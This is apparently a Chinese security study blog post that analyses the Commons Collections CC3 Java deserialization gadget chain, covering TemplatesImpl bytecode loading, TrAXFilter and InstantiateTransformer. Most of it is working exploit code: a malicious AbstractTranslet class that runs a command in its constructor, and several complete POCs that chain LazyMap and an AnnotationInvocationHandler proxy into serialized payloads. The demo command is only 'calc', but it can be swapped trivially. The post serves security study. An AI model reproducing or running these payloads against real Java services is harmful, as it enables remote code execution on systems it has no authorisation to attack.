0x00 前言 CC3这条链跟CC1和CC6不同的是,没有在链的代码中执行任意代码,而是通过动态类加载机制来实现自动执行恶意类的代码
0x01 利用链
0x02 代码分析 TemplatesImpl类加载实现任意代码执行 ysoserial
找到了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类TransletClassLoader 里面重写了**defineClass()**,并且这里没有显式地声明其定义域
Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default 。
1 2 3 4 5 6 7 8 9 static final class TransletClassLoader extends ClassLoader { Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
可以找到在哪里调用了defineClass ,可以看到在defineTransletClasses 类的for 循环中调用了,不过是私有的,内部会调用
可以看到依次加载字节码**_bytecodes中的内容,然后赋值给 Class数组 _class**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void defineTransletClasses () throws TransformerConfigurationException { for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } }
接着找可以发现在getTransletInstance 中调用了defineTransletClasses
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } }
可以看到在将字节码加载进来后,会执行这个代码
1 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这样就可以实例化类,执行任意代码了
但是getTransletInstance 依旧是private ,所以接着找哪里调用了getTransletInstance
找到newTransformer ,而且是public 修饰的,这样我们大概的利用链就找到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
可以看一下当前的利用链是怎样的
1 2 3 4 5 TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader TransletClassLoader.defineClass()
编写POC 首先从newTransformer()中走到了 getTransletInstance()
1 2 3 4 5 6 7 8 9 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); return transformer; }
getTransletInstance()中的 _name 不能为空
而**_class要为空才能走到 defineTransletClasses()**
而且**TemplatesImpl()**是个无参构造,所以值我们可以自己赋
1 2 3 4 5 6 7 8 9 10 11 12 public TemplatesImpl () { }private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); }
defineTransletClasses()中的 _bytecodes 和**_tfactory**
_bytecodes 为我们要加载的字节码,也就是也就是class 文件
_tfactory 需要是一个TransformerFactoryImpl 对象,因为**TemplatesImpl.defineTransletClasses() **方法里有调用到 _tfactory.getExternalExtensionsMap(),如果是 null 会出错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 private byte [][] _bytecodes = null ;private transient TransformerFactoryImpl _tfactory = null ;private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } }
在往后走,**_auxClasses**不用赋值
但是这里会去判断我们要执行的字节码的父类是不是这个ABSTRACT_TRANSLET
不是的话会将**_transletIndex赋值为 -1,并且会报 _auxClasses**空指针错误
1 2 3 4 5 6 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); }
而且后面有个if 判断**_transletIndex是不是小于0,是的话会直接报错,所以给 _transletIndex**赋值也没啥意义
1 2 3 4 if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); }
所以就是要进去第一个if 判断里
看一下ABSTRACT_TRANSLET 这个是什么,
1 2 private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ;
也就是说我们要执行的字节码的父类要继承AbstractTranslet
而这个也是TemplatesImpl 类加载字节码的一个要求
所以我们要构造一个特殊类,继承了AbstractTranslet 的执行类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class CalcTest extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public CalcTest () throws IOException { super (); Runtime.getRuntime().exec("calc" ); } }
到这里**defineTransletClasses()算是完成了,返回到 getTransletInstance()中,下一步就会去触发 newInstance()**,从而实现任意代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest01.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); templates.newTransformer();
CC1+TemplatesImpl 怎么去调用newTransformer ?
想到CC1 链的InvokerTransform 类能够实现调用传进去的方法。
只需要更改CC1 中的这部分代码,将exec 改为**templates::newTransformer()**即可
1 2 3 4 5 6 7 8 9 10 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
即为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); Transformer[] transformer = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer);chainedTransformer.transform(1 );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest01.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); Transformer[] transformer = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer);HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h);Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);serialize(o); unserialize("ser.bin" );
TrAXFilter 可以看到在ysoserial 上使用的是TrAXFilter 这个类,在这个类中直接传入Templates 类型的对象
并且调用了**(TransformerImpl) templates.newTransformer()**
免去我们利用InvokerTransformer ⼿⼯调⽤newTransformer 方法
但是这个类不能进行序列化,所以需要利用它的class ,并且利用构造函数赋值
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
而且缺少了InvokerTransformer ,TrAXFilter 的构造⽅法也是⽆法调⽤的
所以ysoserial 找到了一个新的Transformer
这里ysoserial 就找到了InstantiateTransformer 这个类,并且也是实现了Transformer 接⼝的类
可以看到,在它的transform 方法中
当传入的是Class 时,会获取它的构造器,然后调用它的构造函数进行实例化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public InstantiateTransformer (Class[] paramTypes, Object[] args) { super (); iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } }
所以我们可以将代码改成
1 2 3 4 5 6 7 Transformer[] transformer = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) };
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); Transformer[] transformer = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer);HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h);Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);serialize(o); unserialize("ser.bin" );
0x03 总结
0x04 参考资料 P牛知识星球-Java安全漫谈
B站-白日梦组长
https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff
Y4tacker
https://github.com/Y4tacker/JavaSec